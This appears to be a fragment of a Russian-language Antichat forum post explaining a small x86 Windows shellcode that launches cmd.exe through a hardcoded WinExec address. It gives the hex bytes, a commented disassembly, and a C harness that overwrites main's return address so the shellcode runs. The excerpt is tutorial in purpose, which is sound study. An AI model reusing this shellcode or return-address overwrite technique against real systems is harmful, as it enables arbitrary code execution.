ANTICHAT — форум по информационной безопасности, OSINT и технологиям

 "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";

mov         ebp,esp 
push        20657865h // 
push        2E646D63h // это типа cmd.exe
lea         eax,[ebp-8] 
push        eax  
mov         eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec
call        eax   // вызвать функцию

int *ret;
ret=(int *)&ret+2; //  ret будет равняться адресу созврата из функции main
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode; // перебьем адрес возврата на шелкод
return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод

mov         ebp,esp // запомним адрес вершины стека
// поместим в стек 
push        20657865h //
push        2E646D63h // это типа cmd.exe
lea         eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек
push        eax  // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe

push        2E646D63h // это типа cmd.exe